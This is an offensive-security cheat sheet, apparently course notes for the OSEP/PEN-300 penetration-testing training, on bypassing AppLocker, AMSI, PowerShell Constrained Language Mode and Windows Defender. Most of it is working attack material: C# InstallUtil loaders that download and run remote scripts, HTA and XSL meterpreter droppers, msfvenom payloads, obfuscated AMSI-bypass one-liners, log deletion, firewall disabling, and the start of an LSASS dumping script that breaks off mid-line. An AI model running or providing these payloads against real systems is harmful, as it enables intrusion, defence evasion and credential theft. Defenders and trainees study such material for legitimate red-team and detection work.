CheatSheet II – Advanced

Table Of Contents

Great websites

NameLink
Living Off Trusted Sites LOTS Project – Living Off Trusted Sites (lots-project.com)
Living Off Trusted Land https://lolbas-project.github.io/
GTFObinshttps://gtfobins.github.io/
Living Off The Land DriversLOLDrivers
WADComs https://wadcoms.github.io/
Living off the Foreign Land Cmdlets and BinariesLOFLCAB (lofl-project.github.io)
FilesecFilesec.io
MalAPIMalAPI.io

Sources

GitHub – chvancooten/OSEP-Code-Snippets: A repository with my notable code snippets for Offensive Security’s PEN-300 (OSEP) course.

Offsec Pen-300 PDF

Important!

See this for a comprehensive guide on AV evasion with many different examples.

AV Evasion 101: Essential Techniques and Concepts – BOOK_GHANIM

OSEP Notes Overview PT 1 by Joas

Mitre Framework

TITLEURLSHORT DESCRIPTION
MITRE Engagehttps://engage.mitre.org/MITRE Engage is a platform for collaboration and engagement in the cybersecurity community.
MITRE ATT&CKhttps://attack.mitre.org/MITRE ATT&CK is a knowledge base for adversary tactics and techniques used in cyberattacks.
MITRE Cyber Analytics Repository (CAR)https://car.mitre.org/CAR is a repository of analytics for cybersecurity, providing detection and analytics capabilities.
MITRE D3FENDhttps://d3fend.mitre.org/D3FEND focuses on defensive techniques to protect against adversary tactics described in ATT&CK.
Common Vulnerabilities and Exposures (CVE)https://cve.mitre.org/CVE is a dictionary of common identifiers for publicly known cybersecurity vulnerabilities.
Common Attack Pattern Enumeration and Classification (CAPEC)https://capec.mitre.org/CAPEC is a catalog of common attack patterns used by adversaries in cybersecurity.
Common Weakness Enumeration (CWE)https://cwe.mitre.org/CWE is a community-developed list of common software and hardware weaknesses.
Malware Attribute Enumeration and Characterization (MAEC)https://maecproject.github.io/MAEC is a project for standardizing the encoding and communication of malware characteristics.
CALDERACaldera (mitre.org)Empower cyber practitioners by saving time, money, and energy through automated security assessments​.

Impersonation vs delegation

  • Impersonation Tokens: These tokens can be used to impersonate another user on the same system. You don’t necessarily need SYSTEM privileges to obtain and use these tokens.
  • Delegation Tokens: These tokens allow for impersonation across the network, such as accessing resources on another machine. Typically, obtaining delegation tokens requires higher privileges, like those of the SYSTEM account.

Managed vs Unmanaged code

Managed Code: Think of managed code like living in an apartment building. You have a building manager who takes care of things like cleaning the halls, fixing broken stuff, and making sure everything is safe. You don’t have to worry too much about these things because the manager handles them for you. In the same way, managed code runs in a system that takes care of tasks like cleaning up memory and keeping things secure.

Unmanaged Code: Now, imagine you’re living in your own house. You’re in charge of everything – cleaning, fixing, and making sure it’s safe. You have more control, but you also have more responsibilities. Unmanaged code is like that – it gives you more control over how things work, but you have to handle tasks like cleaning up after yourself (managing memory) and making sure everything is secure.

AppLocker Basics

Enumerate AppLocker

Enumerating AppLocker policies can provide insights into which applications, scripts, and files are allowed or denied from executing on a Windows system. This can be valuable for penetration testers and security analysts to find potential bypasses or weaknesses.

Here’s a guide on how to enumerate AppLocker:

  1. Using PowerShell:
  • View current AppLocker policies:
    powershell Get-AppLockerPolicy -Effective -xml
  • Check for any configured rules:
    powershell Get-AppLockerPolicy -Local | Select -ExpandProperty RuleCollections
  1. Using Windows Event Viewer:
  • AppLocker logs its events under ‘Applications and Services Logs > Microsoft > Windows > AppLocker’.
  • Look for these event IDs:
    • 8002: A rule was ignored because its conditions were incomplete.
    • 8003: No AppLocker rules were applied because no rules are in the policy.
    • 8004: AppLocker started enforcing rules.
    • 8005: AppLocker stopped enforcing rules.
    • 8006: AppLocker policy was changed.
    • 8007: AppLocker encountered an error with a rule and continued processing rules.
    • 8008: AppLocker policy was deleted.
  1. Using the Local Security Policy MMC:
  • Go to Start > Run and type secpol.msc.
  • In the Security Settings tree, go to Application Control Policies > AppLocker.
  1. Using Group Policy Editor:
  • Go to Start > Run and type gpedit.msc.
  • Navigate to Computer Configuration > Windows Settings > Security Settings > Application Control Policies > AppLocker.
  1. Check for AppLocker’s DLL Rules:
  • Sometimes, administrators overlook DLL rules which can be used for bypasses.
  • Use PowerShell to check DLL rules:
    powershell Get-AppLockerPolicy -Effective | Select -ExpandProperty RuleCollections | Where-Object { $_.RuleType -eq 'DllRule' }
  1. Using PowerUp.ps;
PS C:\>. .\PowerUp.ps1 

PS C:\>Invoke-AllChecks

Identify Writeable folders

Many of these directories are writeable by default if applocker is enabled. Check with accesschk.exe.

# Find writeable folders
accesschk.exe "student" C:\Windows -wus

# Check Executable Permissions
icacls.exe C:\Windows\Tasks
# This folder is used by the Task Scheduler to store scheduled tasks.
C:\Windows\Tasks

# Temporary files are stored in this directory. This is a common writable directory for all users.
C:\Windows\Temp

# Used for network tracing logs.
C:\Windows\tracing

# Related to the Component-Based Servicing (CBS) log. CBS is used in Windows servicing (Windows Update).
C:\Windows\Registration\CRMLog

# Related to fax services.
C:\Windows\System32\FxsTmp

# Also related to the Task Scheduler, but not typically writable for standard users by default.
C:\Windows\System32\Tasks

# This is where AppLocker configuration and event log data are stored.
C:\Windows\System32\AppLocker

# COM+ dump folder.
C:\Windows\System32\Com\dmp

# Contains cryptographic keys used by the OS.
C:\Windows\System32\Microsoft\Crypto\RSA\MachineKeys

# Print spooler folder, where print jobs are temporarily stored.
C:\Windows\System32\spool\PRINTERS

# Another print spooler related directory.
C:\Windows\System32\spool\SERVERS

# Contains color profiles for devices.
C:\Windows\System32\spool\drivers\color

# Specific task related to OneDrive updates.
C:\Windows\System32\Tasks\OneDrive Standalone Update Task-...

Alternate Data Stream

  • Alternate Data Streams (ADS) is a feature of the NTFS file system which represents all files as a stream of data.
  • NTFS supports multiple streams, allowing the storage of metadata in binary file attributes.
  • ADS can be exploited to bypass security features like AppLocker by embedding malicious scripts in trusted files.

Combine this technique with DotNetToJscript to get a meterpreter shell.

1. Creating a Simple Jscript for Proof of Concept:

var shell = new ActiveXObject("WScript.Shell"); 
var res = shell.Run("cmd.exe");
  • Save the above Jscript as  ​test.js​ .

2. Finding a Writable and Executable File:

  • A trusted location is required that has files both writable and executable.
  • Example: TeamViewer version 12 on the victim machine has a log file ( ​TeamViewer12_Logfile.log​ ) that meets the criteria.

3. Embedding the Jscript into an Alternate Data Stream (ADS):

  • Use the  ​type​  command to copy the content into an ADS of the trusted file.
C:\Users\student>type test.js > "C:\Program Files (x86)\TeamViewer\TeamViewer12_Logfile.log:test.js"

4. Verifying the Jscript in the Alternate Data Stream:

  • Use the  ​dir /r​  command to validate the Jscript presence in the ADS.
dir /r "C:\Program Files (x86)\TeamViewer\TeamViewer12_Logfile.log"

 Volume in drive C has no label.

 Volume Serial Number is 2467-A865



 Directory of C:\Program Files (x86)\TeamViewer



09/25/2023  06:05 AM            62,790 TeamViewer12_Logfile.log

                                11,736 TeamViewer12_Logfile.log:demo.js:$DATA

               1 File(s)         62,790 bytes

               0 Dir(s)   8,034,390,016 bytes free
  • The output should show the  ​TeamViewer12_Logfile.log:test.js:$DATA​  indicating successful writing to the alternate data stream.

5. Executing the Jscript from the Alternate Data Stream:

  • Double-clicking the icon for the log file ( ​TeamViewer12_Logfile.log​ ) opens it in Notepad as a standard log file.
  • To execute the embedded Jscript, run it from the command line using  ​wscript​  and specify the ADS.
wscript "C:\Program Files (x86)\TeamViewer\TeamViewer12_Logfile.log:test.js"

AppLocker Bypass Using Powershell

Constrained Language Mode

Constrained Language Mode is a security feature in PowerShell. It limits what scripts and commands can do to prevent potentially harmful actions. Think of it as putting training wheels on PowerShell – you can still ride, but you’re restricted in what you can do to avoid dangerous situations.

Enumerate CLM

$ExecutionContext.SessionState.LanguageMode

Custom Runspace

In PowerShell, a runspace is essentially an environment where PowerShell commands are executed. Think of it as a container or an isolated space where all the necessary components for executing commands are present.

The code below will execute in Full Language mode.

# If you have problems with missing .Automation, install the package Microsoft.PowerShell.5.1.ReferenceAssemblies from nuget

# Add a reference to  ​System.Configuration.Install​  in Visual Studio.

using System;
using System.Management.Automation;
using System.Management.Automation.Runspaces;
using static System.Net.Mime.MediaTypeNames;

namespace Bypass
{
    class Program
    {
        static void Main(string[] args)
        {
            Runspace rs = RunspaceFactory.CreateRunspace();
            rs.Open();

            PowerShell ps = PowerShell.Create();
            ps.Runspace = rs;

            String cmd = "(New-Object System.Net.WebClient).DownloadString('http://192.168.1.126/run.txt') | IEX";
            ps.AddScript(cmd);
            ps.Invoke();
            rs.Close();
        }
    }
}

PowerShell CLM Bypass

Use only  ​uninstall  as  ​install  requires admin privileges.

# If you have problems with missing .Automation, install the package Microsoft.PowerShell.5.1.ReferenceAssemblies from nuget

using System;
using System.Management.Automation;
using System.Management.Automation.Runspaces;
using System.Configuration.Install;

namespace Bypass
{
    class Program
    {
        static void Main(string[] args)
        {
            Console.WriteLine("This is the main method which is a decoy");
        }
    }

    [System.ComponentModel.RunInstaller(true)]
    public class Sample : System.Configuration.Install.Installer
    {
        public override void Uninstall(System.Collections.IDictionary savedState)
        {
            String cmd  = "(New-Object System.Net.WebClient).DownloadString('http://192.168.1.126/run.txt') | IEX";
            Runspace rs = RunspaceFactory.CreateRunspace();
            rs.Open();
            PowerShell ps = PowerShell.Create();
            ps.Runspace = rs;
            ps.AddScript(cmd);
            ps.Invoke();
            rs.Close();
        }
    }
}

To execute the code above

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\installutil.exe /logfile= /LogToConsole=false /U C:\Tools\Bypass.exe
Bypassing Antivirus
  • Download and obfuscate the executable with Base64 encoding using  ​certutil​  on the development Windows machine
certutil -encode
 C:\Users\kali\source\repos\Bypass\Bypass\bin\x64\Release\Bypass.exe file.txt
Input Length = 5120
Output Length = 7098
CertUtil: -encode command completed successfully.
C:\Users\Offsec>type file.txt
-----BEGIN CERTIFICATE-----
TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAgAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5v
dCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAABQRQAAZIYCAHFjntgAAAAA
AAAAAPAAIgALAjAAAAwAAAAGAAAAAAAAAAAAAAAgAAAAAABAAQAAAAAgAAAAAgAA

IMPORTANT!! The file need to be hosted using Apache2, not Python HTTP server because python http server does not have the correct header.

Unable to complete transfer.

ERROR FILE:    http://192.168.45.198/file.txt -> C:\users\student\enc.txt

ERROR CODE:    0x80200013 - The server does not support the necessary HTTP protocol. Background Intelligent Transfer Se

ERROR CONTEXT: 0x00000005 - The error occurred while the remote file was being processed.
  • Decode it on disk using  ​certutil -decode​ .
  • Use  ​bitsadmin​  for the downloading.
  • Combining Commands:
bitsadmin /Transfer myJob http://192.168.119.120/file.txt C:\users\student\enc.txt && certutil -decode C:\users\student\enc.txt C:\users\student\Bypass.exe && del C:\users\student\enc.txt && C:\Windows\Microsoft.NET\Framework64\v4.0.30319\installutil.exe /logfile= /LogToConsole=false /U C:\users\student\Bypass.exe

Bypass CLM using Meterpreter Powershell_execute

You can bypass CLM using meterpreters load powershell

meterpreter > load powershell

meterpreter > powershell_execute $ExecutionContext.SessionState.LanguageMode
[+] Command execution completed:
FullLanguage

meterpreter > shell
Process 6960 created.
Channel 4 created.
Microsoft Windows [Version 10.0.18363.900]
(c) 2019 Microsoft Corporation. All rights reserved.

C:\Windows\system32>powershell                                 
powershell
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.

Try the new cross-platform PowerShell https://aka.ms/pscore6


PS C:\Windows\system32> 
PS C:\Windows\system32> $ExecutionContext.SessionState.LanguageMode
$ExecutionContext.SessionState.LanguageMode
ConstrainedLanguage
PS C:\Windows\system32> 

Bypass-clm script form github

GitHub – calebstewart/bypass-clm: PowerShell Constrained Language Mode Bypass

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U "C:\Windows\Tasks\bypass-clm.exe"

CLMroute – Github repo

GitHub – aress31/clm-rout: A C# program featuring an all-in-one bypass for CLM, AppLocker and AMSI using Runspace.

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\installutil.exe /uninstall /logfile= /LogToConsole=false /cmd="whoami /priv" C:\windows\tasks\clmr.exe

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\installutil.exe /uninstall /logfile= /LogToConsole=false /url="http://192.168.45.180/PowerUpSQL.ps1" /cmd="Get-SQLInstanceLocal -Verbose" C:\windows\tasks\clmr.exe

Reflective injection

The technique above will write files to disk. In order to avoid that we will use Invoke-ReflectivePEInjection.ps1.

This method will Bypass AppLocker and use Reflective DLL Injection with InstallUtil.

  • Generate a 64-bit Meterpreter DLL: This will be our payload.
  • Host Meterpreter DLL on Kali Apache server.
  • Upload  ​Invoke-ReflectivePEInjection.ps1​  (Don’t use the Github version, use the one from Offsec) to the Apache server.
using System;
using System.Management.Automation;
using System.Management.Automation.Runspaces;
using System.Configuration.Install;

namespace Bypass
{
    class Program
    {
        static void Main(string[] args)
        {
            Console.WriteLine("This is the main method which is a decoy");
        }
    }

    [System.ComponentModel.RunInstaller(true)]
    public class Sample : System.Configuration.Install.Installer
    {
        public override void Uninstall(System.Collections.IDictionary savedState)
        {
            String cmd = "$bytes = (New-Object System.Net.WebClient).DownloadData('http://192.168.45.198/met.dll'); (New-Object System.Net.WebClient).DownloadString('http://192.168.45.198/Invoke-ReflectivePEInjection.ps1') | IEX; $procid = (Get-Process -Name explorer).Id; Invoke-ReflectivePEInjection -PEBytes $bytes -ProcId $procid";
            Runspace rs = RunspaceFactory.CreateRunspace();
            rs.Open();
            PowerShell ps = PowerShell.Create();
            ps.Runspace = rs;
            ps.AddScript(cmd);
            ps.Invoke();
            rs.Close();
        }
    }
}

To execute the above on target machine, use the command

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\installutil.exe /logfile= /LogToConsole=false /U C:\Tools\Bypass.exe

AppLocker Bypass Using JScript

JScript and HTA

See also “Droppers” and HTA.

  • Microsoft HTML Applications (MSHTA) execute  .hta  files using  mshta.exe .
  •  .hta  files can have embedded JScript or VBS code.
  •  mshta.exe  is commonly whitelisted because it’s in  C:\Windows\System32  and is a signed Microsoft application.
  • Using  mshta.exe  can bypass whitelisting as an alternative to  ​wscript.exe .

Create a shortcut file on Windows target and create a .hta file. For example, you can you use msfvenom

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=tun0 LPORT=443  -f hta-psh -o index.hta

This will most likely be stopped by Antivirus. So another technique is to use ProcessHollowing with XOR and DotNetToJscript, and then use HTML smuggeling.

How to get a meterpreter shell using Jscript and MSHTA

Step 1 – Create a Csharp process hollow or process injection or whatever suits you with XOR encryption to avoid detection.

Step 2 – Then use DotNetToJs to generate a jscript file. You will have to serve the jscript file using hta.

Step 3 – To do this add HTML tags to the .js file and change the extension to .hta. Call it index.hta.

The code below is the outputted DotNetToJs jscript file but the the <html> tags added.

<html>
<head>
    <script language="JScript">


function setversion() {

new ActiveXObject('WScript.Shell').Environment('Process')('COMPLUS_Version') = 'v4.0.30319';

}

function debug(s) {}

function base64ToStream(b) {
    var enc = new ActiveXObject("System.Text.ASCIIEncoding");
    var length = enc.GetByteCount_2(b);
    var ba = enc.GetBytes_4(b);
    var transform = new ActiveXObject("System.Security.Cryptography.FromBase64Transform");
    ba = transform.TransformFinalBlock(ba, 0, length);
    var ms = new ActiveXObject("System.IO.MemoryStream");
    ms.Write(ba, 0, (length / 4) * 3);
    ms.Position = 0;
    return ms;
}

var serialized_obj = "AAEAAAD/////AQAAAAAAAAAEAQAAACJTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVy"+

"AwAAAAhEZWxlZ2F0ZQd0YXJnZXQwB21ldGhvZDADAwMwU3lzdGVtLkRlbGVnYXRlU2VyaWFsaXph"+

"dGlvbkhvbGRlcitEZWxlZ2F0ZUVudHJ5IlN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xk"+

.....";
var entry_class = 'TestClass';

try {
    setversion();
    var stm = base64ToStream(serialized_obj);
    var fmt = new ActiveXObject('System.Runtime.Serialization.Formatters.Binary.BinaryFormatter');
    var al = new ActiveXObject('System.Collections.ArrayList');
    var d = fmt.Deserialize_2(stm);
    al.Add(undefined);
    var o = d.DynamicInvoke(al.ToArray()).CreateInstance(entry_class);
    
} catch (e) {
    debug(e.message);
}

    </script>
</head>
<body>
    <script language="JScript">
        self.close();
    </script>
</body>

Step 4 – Host this on your Kali using apache2 or python.

Step 5 – On target there are a couple of ways to execute it. Either using shortcut as you see below.

Or using the command:

C:\windows\system32\mshta.exe http://kali-ip/index.hta

or visiting the website using Internet Explorer. Using another browser will end up downloading the .hta file and not executing it.

XLS Transform

  • Purpose: Bypassing application whitelisting, such as AppLocker, to achieve arbitrary Jscript execution using XSL transformation.
  • Known As: Squiblytwo attack (see Mitre T1220).
  • Basic Principle: XSLT uses  ​.xsl​  documents to transform an XML document into different formats like XHTML. It allows execution of embedded Jscript code when processing an XML document.

Step 1 – Craft a Malicious XSL Document:

  • Create a malicious XSL file containing the Jscript payload you want to execute.
<?xml version='1.0'?>
   <stylesheet version="1.0"
   xmlns="http://www.w3.org/1999/XSL/Transform"
   xmlns:ms="urn:schemas-microsoft-com:xslt"
   xmlns:user="http://mycompany.com/mynamespace">
   <output method="text"/>
   <ms:script implements-prefix="user" language="JScript">
   <![CDATA[
   var r = new ActiveXObject("WScript.Shell");
   r.Run("cmd.exe");
   ]]>
   </ms:script>
   </stylesheet>
  • Note: This XSL file will open  ​cmd.exe​  when triggered.

Step 2 – Host the Malicious XSL Document:

  • Host the file on an Apache webserver or Python HTTP server.

Step 3 – Trigger the Payload:

  • Use WMIC (Windows Management Instrumentation Command-line) to trigger the Jscript code in the XSL file.
wmic process get brief /format:"http://192.168.119.120/test.xsl"
  • A new command prompt should open.

Getting Meterpreter shell

Step 1 – Edit the .xsl file

Between these lines you can add your jscript code thats outputted from DotNetToJscript. Use ProcessHollowing with XOR for low detection rate

  <?xml version='1.0'?>
   <stylesheet version="1.0"
   xmlns="http://www.w3.org/1999/XSL/Transform"
   xmlns:ms="urn:schemas-microsoft-com:xslt"
   xmlns:user="http://mycompany.com/mynamespace">
   <output method="text"/>
   <ms:script implements-prefix="user" language="JScript">
   <![CDATA[

---- ADD YOUR JSCRIPT CODE HERE ---    

   ]]>
   </ms:script>
   </stylesheet>

The entire code will look like this.

<?xml version='1.0'?>
<stylesheet version="1.0"
xmlns="http://www.w3.org/1999/XSL/Transform"
xmlns:ms="urn:schemas-microsoft-com:xslt"
xmlns:user="http://mycompany.com/mynamespace">
<output method="text"/>
<ms:script implements-prefix="user" language="JScript">
<![CDATA[
function setversion() {
    new ActiveXObject('WScript.Shell').Environment('Process')('COMPLUS_Version') = 'v4.0.30319';
}

function debug(s) {}

function base64ToStream(b) {
    var enc = new ActiveXObject("System.Text.ASCIIEncoding");
    var length = enc.GetByteCount_2(b);
    var ba = enc.GetBytes_4(b);
    var transform = new ActiveXObject("System.Security.Cryptography.FromBase64Transform");
    ba = transform.TransformFinalBlock(ba, 0, length);
    var ms = new ActiveXObject("System.IO.MemoryStream");
    ms.Write(ba, 0, (length / 4) * 3);
    ms.Position = 0;
    return ms;
}

var serialized_obj = "AAEAAAD/////AQ..."; // Truncated 
var entry_class = 'TestClass';

try {
    setversion();
    var stm = base64ToStream(serialized_obj);
    var fmt = new ActiveXObject('System.Runtime.Serialization.Formatters.Binary.BinaryFormatter');
    var al = new ActiveXObject('System.Collections.ArrayList');
    var d = fmt.Deserialize_2(stm);
    al.Add(undefined);
    var o = d.DynamicInvoke(al.ToArray()).CreateInstance(entry_class);
    
} catch (e) {
    debug(e.message);
}
]]>
</ms:script>
</stylesheet>

Step 3 – Host the .xsl on your kali and run the follow command on target

wmic process get brief /format:"http://192.168.119.120/test.xsl"

AV Evasion – General

Check AV – Running, Exclusion, Disable

  • Check if Windows Defender is running: Get-MpComputerStatus | Select RealTimeProtectionEnabled
  • Get info about Windows Defender: Get-MpPreference
  • Find excluded folders from Windows Defender: Get-MpPreference | select Exclusion*
  • Create exclusion: Set-MpPreference -ExclusionPath "<path>"
  • Check AV detections: Get-MpThreatDetection | Sort-Object -Property InitialDetectionTime
  • Get last AV detection: Get-MpThreatDetection | Sort-Object -Property InitialDetectionTime | Select-Object -First 1
  • Disable AV monitoring: Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPReference -DisableIOAVProtection $true
  • Enumerate ASR rules: https://github.com/directorcia/Office365/blob/master/win10-asr-get.ps1
  • Enumerate AV / EDR: https://github.com/tothi/serviceDetector
// What AV is running on the system

// Importing necessary namespaces
using System;
using System.Management;

internal class Program
{
    static void Main(string[] args)
    {
        var status = false; // Variable to track the presence of antivirus software
        Console.WriteLine("[+] Antivirus check is running .. ");

        // Array of antivirus processes to check for
        string[] AV_Check = { 
            "MsMpEng.exe", "AdAwareService.exe", "afwServ.exe", "avguard.exe", "AVGSvc.exe", 
            "bdagent.exe", "BullGuardCore.exe", "ekrn.exe", "fshoster32.exe", "GDScan.exe", 
            "avp.exe", "K7CrvSvc.exe", "McAPExe.exe", "NortonSecurity.exe", "PavFnSvr.exe", 
            "SavService.exe", "EnterpriseService.exe", "WRSA.exe", "ZAPrivacyService.exe" 
        };

        // Creating a ManagementObjectSearcher to query Windows processes
        var searcher = new ManagementObjectSearcher("select * from win32_process");
        var processList = searcher.Get(); // Retrieving the list of processes

        int i = 0;
        foreach (var process in processList)
        {
            // Checking if the process is one of the antivirus processes
            int _index = Array.IndexOf(AV_Check, process["Name"].ToString());
            if (_index > -1)
            {
                // Antivirus process found
                Console.WriteLine("--AV Found: {0}", process["Name"].ToString());
                status = true;
            }
            i++;
        }

        // Checking the status variable to determine if antivirus software was found or not
        if (!status)
        {
            Console.WriteLine("--AV software is not found!");
        }
    }
}

Windows Firewall

  • Get state: Get-NetFirewallProfile -PolicyStore ActiveStore
  • Get rules: Get-netfirewallrule | format-table name,displaygroup,action,direction,enabled -autosize
  • Disable firewall: Set-NetFirewallProfile -Profile Domain,Public,Private -Enabled False
  • Enable firewall: Set-NetFirewallProfile -Profile Domain,Public,Private -Enabled True
  • Change default policy: Set-NetFirewallProfile -DefaultInboundAction Block -DefaultOutboundAction Allow
  • Open port on firewall: netsh advfirewall firewall add rule name="Allow port" dir=in action=allow protocol=TCP localport=<PORT>
  • Remove firewall rule: Remove-NetFirewallRule -DisplayName "Allow port"

Powershell – ASMI bypass methods, Disable AV, etc

AMSI.fail

AMSI Bypass

  • Start 64 bit powershell: %SystemRoot%\sysnative\WindowsPowerShell\v1.0\powershell.exe
  • Change execution policy: Set-ExecutionPolicy Bypass or -ExecutionPolicy Bypass
  • Bypass AMSI (AntiMalware Scan Interface): Use one of the following single-line or multi-line bypasses:

If patched, just change up the strings/variables.

Single-line bypasses:

$A=\"5492868772801748688168747280728187173688878280688776\" $B=\"8281173680867656877679866880867644817687416876797271\" function C ($n, $m) {  [string] ($n..$m|% { [char] [int] (29+ ($A+$B).  substring ( ($_*2),2))})-replace \" \"} $k=C 0 37; $r=C 38 51 $a= [Ref].Assembly.GetType ($k) $a.GetField ($r,'NonPublic,Static').SetValue ($null,$true)

Multi-line bypass:

$a = 'System.Management.Automation.A';$b = 'ms';$u = 'Utils'
$assembly = [Ref].Assembly.GetType ( (' {0} {1}i {2}' -f $a,$b,$u))
$field = $assembly.GetField ( ('a {0}iInitFailed' -f $b),'NonPublic,Static')
$field.SetValue ($null,$true)

Single-line bypasses:

S`eT-It`em ( 'V'+'aR' +  'IA' + ('blE:1'+'q2')  + ('uZ'+'x')  ) ( [TYpE](  "{1}{0}"-F'F','rE'  ) )  ;    (    Get-varI`A`BLE  ( ('1Q'+'2U')  +'zX'  )  -VaL  )."A`ss`Embly"."GET`TY`Pe"((  "{6}{3}{1}{4}{2}{0}{5}" -f('Uti'+'l'),'A',('Am'+'si'),('.Man'+'age'+'men'+'t.'),('u'+'to'+'mation.'),'s',('Syst'+'em')  ) )."g`etf`iElD"(  ( "{0}{2}{1}" -f('a'+'msi'),'d',('I'+'nitF'+'aile')  ),(  "{2}{4}{0}{1}{3}" -f ('S'+'tat'),'i',('Non'+'Publ'+'i'),'c','c,'  ))."sE`T`VaLUE"(  ${n`ULl},${t`RuE} )

Credit: https://buaq.net/go-98295.html

[Ref].Assembly.GetType('System.Management.Automation.'+$("41 6D 73 69 55 74 69 6C 73".Split(" ")|forEach{[char]([convert]::toint16($_,16))}|forEach{$result=$result+$_};$result)).GetField($("61 6D 73 69 49 6E 69 74 46 61 69 6C 65 64".Split(" ")|forEach{[char]([convert]::toint16($_,16))}|forEach{$result2=$result2+$_};$result2),'NonPublic,Static').SetValue($null,$true)

Credit: https://s3cur3th1ssh1t.github.io/Bypass_AMSI_by_manual_modification (however, I think it’s originally from Matt Graeber)

[Runtime.InteropServices.Marshal]::WriteInt32([Ref].Assembly.GetType(("{5}{2}{0}{1}{3}{6}{4}" -f 'ut',('oma'+'t'+'ion.'),'.A',('Ams'+'iUt'),'ls',('S'+'ystem.'+'Manage'+'men'+'t'),'i')).GetField(("{1}{2}{0}" -f ('Co'+'n'+'text'),('am'+'s'),'i'),[Reflection.BindingFlags]("{4}{2}{3}{0}{1}" -f('b'+'lic,Sta'+'ti'),'c','P','u',('N'+'on'))).GetValue($null),0x41414141)

Credit: https://www.trendmicro.com/en_us/research/22/l/detecting-windows-amsi-bypass-techniques.html

Bypass CLM (Constrained Language Mode)

Escapes for Constrained Language Mode:

# Escape 1
$ExecutionContext.SessionState.LanguageMode
[Runspace]::DefaultRunspace.InitialSessionState.LanguageMode
[Runspace]::DefaultRunspace.SessionStateProxy.LanguageMode

# Escape 2
$ExecutionContext.SessionState.LanguageMode = "FullLanguage"
[Runspace]::DefaultRunspace.InitialSessionState.LanguageMode = "FullLanguage"
[Runspace]::DefaultRunspace.SessionStateProxy.LanguageMode = "FullLanguage"

# Escape 3
$ExecutionContext.SessionState.LanguageMode
$ExecutionContext.SessionState.GetType().GetField('languageMode','NonPublic,Instance').SetValue($ExecutionContext.SessionState,[System.Management.Automation.PSLanguageMode]::FullLanguage)
$ExecutionContext.SessionState.LanguageMode

# Escape 4
$ExecutionContext.SessionState.LanguageMode
$ExecutionContext.SessionState.GetType().GetField('languageMode','NonPublic,Instance').SetValue($ExecutionContext.SessionState,1)
$ExecutionContext.SessionState.LanguageMode

# Escape 5
$ExecutionContext.SessionState.LanguageMode
[Ref].Assembly.GetType('System.Management.Automation.Utils').GetField('cachedLanguageMode','NonPublic,Static').SetValue($null,[System.Management.Automation.PSLanguageMode]::FullLanguage)
$ExecutionContext.SessionState.LanguageMode

# Escape 6
$ExecutionContext.SessionState.LanguageMode
[Ref].Assembly.GetType('System.Management.Automation.Utils').GetField('cachedLanguageMode','NonPublic,Static').SetValue($null,1)
$ExecutionContext.SessionState.LanguageMode

# Escape 7
$ExecutionContext.SessionState.LanguageMode
[Ref].Assembly.GetType('System.Management.Automation.ScriptBlock').GetField('signatures','NonPublic,Static').SetValue($null,(New-Object 'Collections.Generic.List[string]'))
[Ref].Assembly.GetType('System.Management.Automation.ScriptBlock').GetField('optimizedAstCache','NonPublic,Static').SetValue($null,(New-Object 'Collections.Generic.Dictionary[string,System.Management.Automation.Ast]'))
[Ref].Assembly.GetType('System.Management.Automation.CompiledScriptBlockData').GetField('allowedVariables','NonPublic,Static').SetValue($null,(New-Object 'Collections.Generic.HashSet[string]'))
[Ref].Assembly.GetType('System.Management.Automation.CompiledScriptBlockData').GetField('allowedCommands','NonPublic,Static').SetValue($null,(New-Object 'Collections.Generic.HashSet[string]'))
[Ref].Assembly.GetType('System.Management.Automation.CompiledScriptBlockData').GetField('allowedVariables','NonPublic,Static').Add('*')
[Ref].Assembly.GetType('System.Management.Automation.CompiledScriptBlockData').GetField('allowedCommands','NonPublic,Static').Add('*')
$ExecutionContext.SessionState.LanguageMode

# Escape 8
function Invoke-Expression {param([string]$Command); [ScriptBlock]::Create($Command).Invoke()}

Bypass logging

Logging evasion techniques:

# Technique 1: Disable Script Block Logging and Module Logging
Set-ItemProperty -Path HKLM:\SOFTWARE\Wow6432Node\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging -Name EnableScriptBlockLogging -Value 0 -Force
Set-ItemProperty -Path HKLM:\SOFTWARE\Wow6432Node\Policies\Microsoft\Windows\PowerShell\ModuleLogging -Name EnableModuleLogging -Value 0 -Force

# Technique 2: Disable Transcription Logging and Module Logging
Set-ItemProperty -Path HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\Transcription -Name EnableTranscripting -Value 0 -Force
Set-ItemProperty -Path HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ModuleLogging -Name EnableModuleLogging -Value 0 -Force

# Technique 3: Delete the log files from the system (requires admin privileges)
Remove-Item C:\Windows\System32\winevt\Logs\Microsoft-Windows-PowerShell%4Operational.evtx -Force
Remove-Item C:\Windows\System32\winevt\Logs\Microsoft-Windows-PowerShell%4Admin.evtx -Force

# Technique 4: Use Invoke-Expression to bypass Script Block Logging and Module Logging (requires PowerShell v5 or higher)
Invoke-Expression "IEX (New-Object Net.WebClient).DownloadString('http://example.com/payload.ps1')"

Disable MS Defender (Require elevation)

Turning off Windows Defender: 

Get-MPPreference
Set-MPPreference -DisableRealTimeMonitoring $true
Set-MPPreference -DisableIOAVProtection $true
Set-MPPreference -DisableIntrusionPreventionSystem $true

Add folder exclusion

Adding a folder exclusion Add-MpPreference -ExclusionPath "C:\temp"

Checking exclusions

Get-MpPreference | Select-Object -Property ExclusionPath

ExclusionPath
-------------
{C:\temp}

LSASS dumping without triggering Defender

$S = "C:\temp"
$P = (Get-Process lsass)
$A = [PSObject].Assembly.GetType('Syst'+'em.Manage'+'ment.Autom'+'ation.Windo'+'wsErrorRe'+'porting')
